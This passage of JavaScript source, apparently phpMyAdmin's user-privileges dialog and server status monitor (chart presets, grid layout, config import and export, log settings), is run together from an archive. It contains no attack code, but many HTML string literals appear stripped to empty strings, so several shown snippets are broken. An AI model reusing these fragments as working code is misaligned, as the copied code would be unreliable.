            • ') .prop('class', 'nav-item') .append(submenuLink) .appendTo($subNav); }); // click handlers for submenu $subNav.find('a').on('click', function (e) { e.preventDefault(); // if already active, ignore click if ($(this).hasClass('active')) { return; } $subNav.find('a').removeClass('active'); $(this).addClass('active'); // which section to show now? linkNumber = $subNav.find('a').index($(this)); // hide all sections but the one to show $('#edit_user_dialog .submenu-item').hide().eq(linkNumber).show(); }); // make first menu item active // TODO: support URL hash history $subNav.find('> :first-child a').addClass('active'); $editUserDialog.prepend($subNav); // hide all sections but the first $('#edit_user_dialog .submenu-item').hide().eq(0).show(); // scroll to the top $('html, body').animate({ scrollTop: 0 }, 'fast'); }; $('input.autofocus').trigger('focus'); $(Functions.checkboxesSel).trigger('change'); Functions.displayPasswordGenerateButton(); if ($('#edit_user_dialog').length > 0) { addOrUpdateSubmenu(); } /** * Select all privileges * * @param {HTMLElement} e * @return {void} */ var tableSelectAll = function (e) { const method = e.target.getAttribute('data-select-target'); var options = $(method).first().children(); options.each(function (_, obj) { obj.selected = true; }); }; $('#select_priv_all').on('click', tableSelectAll); $('#insert_priv_all').on('click', tableSelectAll); $('#update_priv_all').on('click', tableSelectAll); $('#references_priv_all').on('click', tableSelectAll); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', (windowWidth - 35) + 'px'); $('#addUsersForm').on('submit', function () { return checkAddUser(this); }); $('#copyUserForm').on('submit', function () { return checkAddUser(this); }); }); server/status/monitor.js000066600000260266151724624350011453 0ustar00/** * @fileoverview Javascript functions used in server status monitor page * @name Server Status Monitor * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor:writable */ // js/functions.js /* global firstDayOfCalendar, themeImagePath */ // templates/javascript/variables.twig /* global variableNames */ // templates/server/status/monitor/index.twig var runtime = {}; var serverTimeDiff; var serverOs; var isSuperUser; var serverDbIsLocal; var chartSize; var monitorSettings; function serverResponseError () { var btns = { [Messages.strReloadPage]: { text: Messages.strReloadPage, class: 'btn btn-primary', click: function () { window.location.reload(); }, }, }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strRefreshFailed }); $('#emptyDialog').html( Functions.getImage('s_attention') + Messages.strInvalidResponseExplanation ); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: btns }); } /** * Destroys all monitor related resources */ function destroyGrid () { if (runtime.charts) { $.each(runtime.charts, function (key, value) { try { value.chart.destroy(); } catch (err) { // continue regardless of error } }); } try { runtime.refreshRequest.abort(); } catch (err) { // continue regardless of error } try { clearTimeout(runtime.refreshTimeout); } catch (err) { // continue regardless of error } $('#chartGrid').html(''); runtime.charts = null; runtime.chartAI = 0; monitorSettings = null; } AJAX.registerOnload('server/status/monitor.js', function () { var $jsDataForm = $('#js_data'); serverTimeDiff = new Date().getTime() - $jsDataForm.find('input[name=server_time]').val(); serverOs = $jsDataForm.find('input[name=server_os]').val(); isSuperUser = $jsDataForm.find('input[name=is_superuser]').val(); serverDbIsLocal = $jsDataForm.find('input[name=server_db_isLocal]').val(); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/monitor.js', function () { $('#emptyDialog').remove(); $('a.popupLink').off('click'); $('body').off('click'); }); /** * Popup behaviour */ AJAX.registerOnload('server/status/monitor.js', function () { $('
              ') .attr('id', 'emptyDialog') .appendTo('#page_content'); $('a.popupLink').on('click', function () { var $link = $(this); $('div.' + $link.attr('href').substr(1)) .show() .offset({ top: $link.offset().top + $link.height() + 5, left: $link.offset().left }) .addClass('openedPopup'); return false; }); $('body').on('click', function (event) { $('div.openedPopup').each(function () { var $cnt = $(this); var pos = $cnt.offset(); // Hide if the mouseclick is outside the popupcontent if (event.pageX > pos.left + $cnt.outerWidth() || event.pageY > pos.top + $cnt.outerHeight() ) { $cnt.hide().removeClass('openedPopup'); } }); }); }); AJAX.registerTeardown('server/status/monitor.js', function () { $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').off('click'); $('div.popupContent select[name="chartColumns"]').off('change'); $('div.popupContent select[name="gridChartRefresh"]').off('change'); $('a[href="#addNewChart"]').off('click'); $('a[href="#exportMonitorConfig"]').off('click'); $('a[href="#importMonitorConfig"]').off('click'); $('a[href="#clearMonitorConfig"]').off('click'); $('a[href="#pauseCharts"]').off('click'); $('a[href="#monitorInstructionsDialog"]').off('click'); $('input[name="chartType"]').off('click'); $('input[name="useDivisor"]').off('click'); $('input[name="useUnit"]').off('click'); $('select[name="varChartList"]').off('click'); $('a[href="#kibDivisor"]').off('click'); $('a[href="#mibDivisor"]').off('click'); $('a[href="#submitClearSeries"]').off('click'); $('a[href="#submitAddSeries"]').off('click'); // $("input#variableInput").destroy(); $('#chartPreset').off('click'); $('#chartStatusVar').off('click'); destroyGrid(); }); AJAX.registerOnload('server/status/monitor.js', function () { // Show tab links $('div.tabLinks').show(); $('#loadingMonitorIcon').remove(); // Codemirror is loaded on demand so we might need to initialize it if (! codeMirrorEditor) { var $elm = $('#sqlquery'); if ($elm.length > 0 && typeof CodeMirror !== 'undefined') { codeMirrorEditor = CodeMirror.fromTextArea( $elm[0], { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true } ); } } // Timepicker is loaded on demand so we need to initialize // datetime fields from the 'load log' dialog $('#logAnalyseDialog').find('.datetimefield').each(function () { Functions.addDatepicker($(this)); }); /** ** Monitor charting implementation ****/ /* Saves the previous ajax response for differential values */ var oldChartData = null; // Holds about to be created chart var newChart = null; var chartSpacing; // Whenever the monitor object (runtime.charts) or the settings object // (monitorSettings) changes in a way incompatible to the previous version, // increase this number. It will reset the users monitor and settings object // in their localStorage to the default configuration var monitorProtocolVersion = '1.0'; // Runtime parameter of the monitor, is being fully set in initGrid() runtime = { // Holds all visible charts in the grid charts: null, // Stores the timeout handler so it can be cleared refreshTimeout: null, // Stores the GET request to refresh the charts refreshRequest: null, // Chart auto increment chartAI: 0, // To play/pause the monitor redrawCharts: false, // Object that contains a list of nodes that need to be retrieved // from the server for chart updates dataList: [], // Current max points per chart (needed for auto calculation) gridMaxPoints: 20, // displayed time frame xmin: -1, xmax: -1 }; monitorSettings = null; var defaultMonitorSettings = { columns: 3, chartSize: { width: 295, height: 250 }, // Max points in each chart. Settings it to 'auto' sets // gridMaxPoints to (chartwidth - 40) / 12 gridMaxPoints: 'auto', /* Refresh rate of all grid charts in ms */ gridRefresh: 5000 }; // Allows drag and drop rearrange and print/edit icons on charts var editMode = false; /* List of preconfigured charts that the user may select */ var presetCharts = { // Query cache efficiency 'qce': { title: Messages.strQueryCacheEfficiency, series: [{ label: Messages.strQueryCacheEfficiency }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_hits' }, { type: 'statusvar', name: 'Com_select' }], transformFn: 'qce' }], maxYLabel: 0 }, // Query cache usage 'qcu': { title: Messages.strQueryCacheUsage, series: [{ label: Messages.strQueryCacheUsed }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_free_memory' }, { type: 'servervar', name: 'query_cache_size' }], transformFn: 'qcu' }], maxYLabel: 0 } }; // time span selection var selectionTimeDiff = []; var selectionStartX; var selectionStartY; var drawTimeSpan = false; /* Add OS specific system info charts to the preset chart list */ switch (serverOs) { case 'WINNT': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 100 }, 'memory': { title: Messages.strSystemMemory, series: [{ dataType: 'memory', label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [{ label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; case 'Linux': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'irrelevant' }], transformFn: 'cpu-linux' }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [ { label: Messages.strBufferedMemory, fill: true }, { label: Messages.strUsedMemory, fill: true }, { label: Messages.strCachedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'Buffers' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'Cached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [ { label: Messages.strCachedSwap, fill: true }, { label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'SwapCached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; case 'SunOS': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [ { label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 } ], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [ { label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true } ], nodes: [ { dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 } ], maxYLabel: 0 } }); break; } // Default setting for the chart grid var defaultChartGrid = { 'c0': { title: Messages.strQuestions, series: [ { label: Messages.strQuestions } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Questions' }], display: 'differential' } ], maxYLabel: 0 }, 'c1': { title: Messages.strChartConnectionsTitle, series: [ { label: Messages.strConnections }, { label: Messages.strProcesses } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Connections' }], display: 'differential' }, { dataPoints: [{ type: 'proc', name: 'processes' }] } ], maxYLabel: 0 }, 'c2': { title: Messages.strTraffic, series: [ { label: Messages.strBytesSent }, { label: Messages.strBytesReceived } ], nodes: [ { dataPoints: [{ type: 'statusvar', name: 'Bytes_sent' }], display: 'differential', valueDivisor: 1024 }, { dataPoints: [{ type: 'statusvar', name: 'Bytes_received' }], display: 'differential', valueDivisor: 1024 } ], maxYLabel: 0 } }; // Server is localhost => We can add cpu/memory/swap to the default chart if (serverDbIsLocal && typeof presetCharts.cpu !== 'undefined') { defaultChartGrid.c3 = presetCharts.cpu; defaultChartGrid.c4 = presetCharts.memory; defaultChartGrid.c5 = presetCharts.swap; } $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').on('click', function (event) { event.preventDefault(); editMode = !editMode; if ($(this).attr('href') === '#endChartEditMode') { editMode = false; } $('a[href="#endChartEditMode"]').toggle(editMode); if (editMode) { // Close the settings popup $('div.popupContent').hide().removeClass('openedPopup'); $('#chartGrid').sortableTable({ ignoreRect: { top: 8, left: chartSize.width - 63, width: 54, height: 24 } }); } else { $('#chartGrid').sortableTable('destroy'); } saveMonitor(); // Save settings return false; }); // global settings $('div.popupContent select[name="chartColumns"]').on('change', function () { monitorSettings.columns = parseInt(this.value, 10); calculateChartSize(); // Empty cells should keep their size so you can drop onto them $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); $('#chartGrid').find('.monitorChart').css({ width: chartSize.width + 'px', height: chartSize.height + 'px' }); /* Reorder all charts that it fills all column cells */ var numColumns; var $tr = $('#chartGrid').find('tr').first(); var tempManageCols = function () { if (numColumns > monitorSettings.columns) { if ($tr.next().length === 0) { $tr.after(''); } $tr.next().prepend($(this)); } numColumns++; }; var tempAddCol = function () { if ($(this).next().length !== 0) { $(this).append($(this).next().find('td').first()); } }; while ($tr.length !== 0) { numColumns = 1; // To many cells in one row => put into next row $tr.find('td').each(tempManageCols); // To little cells in one row => for each cell to little, // move all cells backwards by 1 if ($tr.next().length > 0) { var cnt = monitorSettings.columns - $tr.find('td').length; for (var i = 0; i < cnt; i++) { $tr.append($tr.next().find('td').first()); $tr.nextAll().each(tempAddCol); } } $tr = $tr.next(); } if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((chartSize.width - 40) / 12); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; if (editMode) { $('#chartGrid').sortableTable('refresh'); } refreshChartGrid(); saveMonitor(); // Save settings }); $('div.popupContent select[name="gridChartRefresh"]').on('change', function () { monitorSettings.gridRefresh = parseInt(this.value, 10) * 1000; clearTimeout(runtime.refreshTimeout); if (runtime.refreshRequest) { runtime.refreshRequest.abort(); } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; // fixing chart shift towards left on refresh rate change // runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); saveMonitor(); // Save settings }); $('a[href="#addNewChart"]').on('click', function (event) { event.preventDefault(); $('#addChartButton').on('click', function () { var type = $('input[name="chartType"]:checked').val(); if (type === 'preset') { newChart = presetCharts[$('#addChartModal').find('select[name="presetCharts"]').prop('value')]; } else { // If user builds their own chart, it's being set/updated // each time they add a series // So here we only warn if they didn't add a series yet if (! newChart || ! newChart.nodes || newChart.nodes.length === 0) { alert(Messages.strAddOneSeriesWarning); return; } } newChart.title = $('input[name="chartTitle"]').val(); // Add a cloned object to the chart grid addChart($.extend(true, {}, newChart)); newChart = null; saveMonitor(); // Save settings $('#closeModalButton').off('click'); }); $('#closeModalButton').on('click', function () { newChart = null; $('span#clearSeriesLink').hide(); $('#seriesPreview').html(''); $('#closeModalButton').off('click'); }); var $presetList = $('#addChartModal').find('select[name="presetCharts"]'); if ($presetList.html().length === 0) { $.each(presetCharts, function (key, value) { $presetList.append(''); }); $presetList.on('change', function () { $('input[name="chartTitle"]').val( $presetList.find(':selected').text() ); $('#chartPreset').prop('checked', true); }); $('#chartPreset').on('click', function () { $('input[name="chartTitle"]').val( $presetList.find(':selected').text() ); }); $('#chartStatusVar').on('click', function () { $('input[name="chartTitle"]').val( $('#chartSeries').find(':selected').text().replace(/_/g, ' ') ); }); $('#chartSeries').on('change', function () { $('input[name="chartTitle"]').val( $('#chartSeries').find(':selected').text().replace(/_/g, ' ') ); }); } $('#addChartModal').modal('show'); $('#seriesPreview').html('' + Messages.strNone + ''); return false; }); $('a[href="#exportMonitorConfig"]').on('click', function (event) { event.preventDefault(); var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].series = elem.series; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].maxYLabel = elem.maxYLabel; }); var exportData = { monitorCharts: gridCopy, monitorSettings: monitorSettings }; var blob = new Blob([JSON.stringify(exportData)], { type: 'application/octet-stream' }); var url = null; var fileName = 'monitor-config.json'; if (window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob, fileName); } else { url = URL.createObjectURL(blob); window.location.href = url; } setTimeout(function () { // For some browsers it is necessary to delay revoking the ObjectURL if (url !== null) { window.URL.revokeObjectURL(url); } url = undefined; blob = undefined; }, 100); }); $('a[href="#importMonitorConfig"]').on('click', function (event) { event.preventDefault(); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strImportDialogTitle }); $('#emptyDialog').html(Messages.strImportDialogMessage + '
              ' + '
              '); var dlgBtns = { [Messages.strImport]: { text: Messages.strImport, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strImport].click = function () { var input = $('#emptyDialog').find('#import_file')[0]; var reader = new FileReader(); reader.onerror = function (event) { alert(Messages.strFailedParsingConfig + '\n' + event.target.error.code); }; reader.onload = function (e) { var data = e.target.result; var json = null; // Try loading config try { json = JSON.parse(data); } catch (err) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // Basic check, is this a monitor config json? if (!json || ! json.monitorCharts || ! json.monitorCharts) { alert(Messages.strFailedParsingConfig); $('#emptyDialog').dialog('close'); return; } // If json ok, try applying config try { if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(json.monitorCharts); window.localStorage.monitorSettings = JSON.stringify(json.monitorSettings); } rebuildGrid(); } catch (err) { alert(Messages.strFailedBuildingGrid); // If an exception is thrown, load default again if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); } rebuildGrid(); } $('#emptyDialog').dialog('close'); }; reader.readAsText(input.files[0]); }; dlgBtns[Messages.strCancel].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); }); $('a[href="#clearMonitorConfig"]').on('click', function (event) { event.preventDefault(); if (isStorageSupported('localStorage')) { window.localStorage.removeItem('monitorCharts'); window.localStorage.removeItem('monitorSettings'); window.localStorage.removeItem('monitorVersion'); } $(this).hide(); rebuildGrid(); }); $('a[href="#pauseCharts"]').on('click', function (event) { event.preventDefault(); runtime.redrawCharts = ! runtime.redrawCharts; if (! runtime.redrawCharts) { $(this).html(Functions.getImage('play') + Messages.strResumeMonitor); } else { $(this).html(Functions.getImage('pause') + Messages.strPauseMonitor); if (! runtime.charts) { initGrid(); $('a[href="#settingsPopup"]').show(); } } return false; }); $('a[href="#monitorInstructionsDialog"]').on('click', function (event) { event.preventDefault(); var $dialog = $('#monitorInstructionsDialog'); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } }, }; $dialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: '60%', height: 'auto', buttons: dlgBtns }).find('img.ajaxIcon').show(); var loadLogVars = function (getvars) { var vars = { 'ajax_request': true, 'server': CommonParams.get('server') }; if (getvars) { $.extend(vars, getvars); } $.post('index.php?route=/server/status/monitor/log-vars', vars, function (data) { var logVars; if (typeof data !== 'undefined' && data.success === true) { logVars = data.message; } else { return serverResponseError(); } var icon = Functions.getImage('s_success'); var msg = ''; var str = ''; if (logVars.general_log === 'ON') { if (logVars.slow_query_log === 'ON') { msg = Messages.strBothLogOn; } else { msg = Messages.strGenLogOn; } } if (msg.length === 0 && logVars.slow_query_log === 'ON') { msg = Messages.strSlowLogOn; } if (msg.length === 0) { icon = Functions.getImage('s_error'); msg = Messages.strBothLogOff; } str = '' + Messages.strCurrentSettings + '
              '; str += icon + msg + '
              '; if (logVars.log_output !== 'TABLE') { str += Functions.getImage('s_error') + ' ' + Messages.strLogOutNotTable + '
              '; } else { str += Functions.getImage('s_success') + ' ' + Messages.strLogOutIsTable + '
              '; } if (logVars.slow_query_log === 'ON') { if (logVars.long_query_time > 2) { str += Functions.getImage('s_attention') + ' '; str += Functions.sprintf(Messages.strSmallerLongQueryTimeAdvice, logVars.long_query_time); str += '
              '; } if (logVars.long_query_time < 2) { str += Functions.getImage('s_success') + ' '; str += Functions.sprintf(Messages.strLongQueryTimeSet, logVars.long_query_time); str += '
              '; } } str += '
              '; if (isSuperUser) { str += '

              ' + Messages.strChangeSettings + ''; str += '
              '; str += Messages.strSettingsAppliedGlobal + '
              '; var varValue = 'TABLE'; if (logVars.log_output === 'TABLE') { varValue = 'FILE'; } str += '- '; str += Functions.sprintf(Messages.strSetLogOutput, varValue); str += '
              '; if (logVars.general_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'general_log'); str += '
              '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'general_log'); str += '
              '; } if (logVars.slow_query_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'slow_query_log'); str += '
              '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'slow_query_log'); str += '
              '; } varValue = 5; if (logVars.long_query_time > 2) { varValue = 1; } str += '- '; str += Functions.sprintf(Messages.setSetLongQueryTime, varValue); str += '
              '; } else { str += Messages.strNoSuperUser + '
              '; } str += '
              '; $dialog.find('div.monitorUse').toggle( logVars.log_output === 'TABLE' && (logVars.slow_query_log === 'ON' || logVars.general_log === 'ON') ); $dialog.find('div.ajaxContent').html(str); $dialog.find('img.ajaxIcon').hide(); $dialog.find('a.set').on('click', function () { var nameValue = $(this).attr('href').split('-'); loadLogVars({ varName: nameValue[0].substr(1), varValue: nameValue[1] }); $dialog.find('img.ajaxIcon').show(); }); } ); }; loadLogVars(); return false; }); $('input[name="chartType"]').on('change', function () { $('#chartVariableSettings').toggle(this.checked && this.value === 'variable'); var title = $('input[name="chartTitle"]').val(); if (title === Messages.strChartTitle || title === $('label[for="' + $('input[name="chartTitle"]').data('lastRadio') + '"]').text() ) { $('input[name="chartTitle"]') .data('lastRadio', $(this).attr('id')) .val($('label[for="' + $(this).attr('id') + '"]').text()); } }); $('input[name="useDivisor"]').on('change', function () { $('span.divisorInput').toggle(this.checked); }); $('input[name="useUnit"]').on('change', function () { $('span.unitInput').toggle(this.checked); }); $('select[name="varChartList"]').on('change', function () { if (this.selectedIndex !== 0) { $('#variableInput').val(this.value); } }); $('a[href="#kibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024); $('input[name="valueUnit"]').val(Messages.strKiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#mibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024 * 1024); $('input[name="valueUnit"]').val(Messages.strMiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#submitClearSeries"]').on('click', function (event) { event.preventDefault(); $('#seriesPreview').html('' + Messages.strNone + ''); newChart = null; $('#clearSeriesLink').hide(); }); $('a[href="#submitAddSeries"]').on('click', function (event) { event.preventDefault(); if ($('#variableInput').val() === '') { return false; } if (newChart === null) { $('#seriesPreview').html(''); newChart = { title: $('input[name="chartTitle"]').val(), nodes: [], series: [], maxYLabel: 0 }; } var serie = { dataPoints: [{ type: 'statusvar', name: $('#variableInput').val() }], display: $('input[name="differentialValue"]').prop('checked') ? 'differential' : '' }; if (serie.dataPoints[0].name === 'Processes') { serie.dataPoints[0].type = 'proc'; } if ($('input[name="useDivisor"]').prop('checked')) { serie.valueDivisor = parseInt($('input[name="valueDivisor"]').val(), 10); } if ($('input[name="useUnit"]').prop('checked')) { serie.unit = $('input[name="valueUnit"]').val(); } var str = serie.display === 'differential' ? ', ' + Messages.strDifferential : ''; str += serie.valueDivisor ? (', ' + Functions.sprintf(Messages.strDividedBy, serie.valueDivisor)) : ''; str += serie.unit ? (', ' + Messages.strUnit + ': ' + serie.unit) : ''; var newSeries = { label: $('#variableInput').val().replace(/_/g, ' ') }; newChart.series.push(newSeries); $('#seriesPreview').append('- ' + Functions.escapeHtml(newSeries.label + str) + '
              '); newChart.nodes.push(serie); $('#variableInput').val(''); $('input[name="differentialValue"]').prop('checked', true); $('input[name="useDivisor"]').prop('checked', false); $('input[name="useUnit"]').prop('checked', false); $('input[name="useDivisor"]').trigger('change'); $('input[name="useUnit"]').trigger('change'); $('select[name="varChartList"]').get(0).selectedIndex = 0; $('#clearSeriesLink').show(); return false; }); $('#variableInput').autocomplete({ source: variableNames }); /* Initializes the monitor, called only once */ function initGrid () { var i; /* Apply default values & config */ if (isStorageSupported('localStorage')) { if (typeof window.localStorage.monitorCharts !== 'undefined') { runtime.charts = JSON.parse(window.localStorage.monitorCharts); } if (typeof window.localStorage.monitorSettings !== 'undefined') { monitorSettings = JSON.parse(window.localStorage.monitorSettings); } $('a[href="#clearMonitorConfig"]').toggle(runtime.charts !== null); if (runtime.charts !== null && typeof window.localStorage.monitorVersion !== 'undefined' && monitorProtocolVersion !== window.localStorage.monitorVersion ) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strIncompatibleMonitorConfig }); $('#emptyDialog').html(Messages.strIncompatibleMonitorConfigDescription); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } }, }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 400, buttons: dlgBtns }); } } if (runtime.charts === null) { runtime.charts = defaultChartGrid; } if (monitorSettings === null) { monitorSettings = defaultMonitorSettings; } $('select[name="gridChartRefresh"]').val(monitorSettings.gridRefresh / 1000); $('select[name="chartColumns"]').val(monitorSettings.columns); if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((monitorSettings.chartSize.width - 40) / 12); } else { runtime.gridMaxPoints = monitorSettings.gridMaxPoints; } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; /* Calculate how much spacing there is between each chart */ $('#chartGrid').html(''); chartSpacing = { width: $('#chartGrid').find('td').eq(1).offset().left - $('#chartGrid').find('td').eq(0).offset().left, height: $('#chartGrid').find('tr').eq(1).find('td').eq(1).offset().top - $('#chartGrid').find('tr').eq(0).find('td').eq(0).offset().top }; $('#chartGrid').html(''); /* Add all charts - in correct order */ var keys = []; $.each(runtime.charts, function (key) { keys.push(key); }); keys.sort(); for (i = 0; i < keys.length; i++) { addChart(runtime.charts[keys[i]], true); } /* Fill in missing cells */ var numCharts = $('#chartGrid').find('.monitorChart').length; var numMissingCells = (monitorSettings.columns - numCharts % monitorSettings.columns) % monitorSettings.columns; for (i = 0; i < numMissingCells; i++) { $('#chartGrid').find('tr').last().append(''); } // Empty cells should keep their size so you can drop onto them calculateChartSize(); $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); buildRequiredDataList(); refreshChartGrid(); } /* Calls destroyGrid() and initGrid(), but before doing so it saves the chart * data from each chart and restores it after the monitor is initialized again */ function rebuildGrid () { var oldData = null; if (runtime.charts) { oldData = {}; $.each(runtime.charts, function (key, chartObj) { for (var i = 0, l = chartObj.nodes.length; i < l; i++) { oldData[chartObj.nodes[i].dataPoint] = []; for (var j = 0, ll = chartObj.chart.series[i].data.length; j < ll; j++) { oldData[chartObj.nodes[i].dataPoint].push([chartObj.chart.series[i].data[j].x, chartObj.chart.series[i].data[j].y]); } } }); } destroyGrid(); initGrid(); } /* Calculates the dynamic chart size that depends on the column width */ function calculateChartSize () { var panelWidth; if ($('body').height() > $(window).height()) { // has vertical scroll bar panelWidth = $('#logTable').innerWidth(); } else { panelWidth = $('#logTable').innerWidth() - 10; // leave some space for vertical scroll bar } var wdt = panelWidth; var windowWidth = $(window).width(); if (windowWidth > 768) { wdt = (panelWidth - monitorSettings.columns * Math.abs(chartSpacing.width)) / monitorSettings.columns; } chartSize = { width: Math.floor(wdt), height: Math.floor(0.75 * wdt) }; } /* Adds a chart to the chart grid */ function addChart (chartObj, initialize) { var i; var settings = { title: Functions.escapeHtml(chartObj.title), grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: '%H:%M:%S', showGridline: false }, min: runtime.xmin, max: runtime.xmax }, yaxis: { min: 0, max: 100, tickInterval: 20 } }, seriesDefaults: { rendererOptions: { smooth: true }, showLine: true, lineWidth: 2, markerOptions: { size: 6 } }, highlighter: { show: true } }; if (settings.title === Messages.strSystemCPUUsage || settings.title === Messages.strQueryCacheEfficiency ) { settings.axes.yaxis.tickOptions = { formatString: '%d %%' }; } else if (settings.title === Messages.strSystemMemory || settings.title === Messages.strSystemSwap ) { settings.stackSeries = true; settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(2) // MiB }; } else if (settings.title === Messages.strTraffic) { settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(1) // KiB }; } else if (settings.title === Messages.strQuestions || settings.title === Messages.strConnections ) { settings.axes.yaxis.tickOptions = { formatter: function (format, val) { if (Math.abs(val) >= 1000000) { return $.jqplot.sprintf('%.3g M', val / 1000000); } else if (Math.abs(val) >= 1000) { return $.jqplot.sprintf('%.3g k', val / 1000); } else { return $.jqplot.sprintf('%d', val); } } }; } settings.series = chartObj.series; if ($('#' + 'gridchart' + runtime.chartAI).length === 0) { var numCharts = $('#chartGrid').find('.monitorChart').length; if (numCharts === 0 || (numCharts % monitorSettings.columns === 0)) { $('#chartGrid').append(''); } if (!chartSize) { calculateChartSize(); } 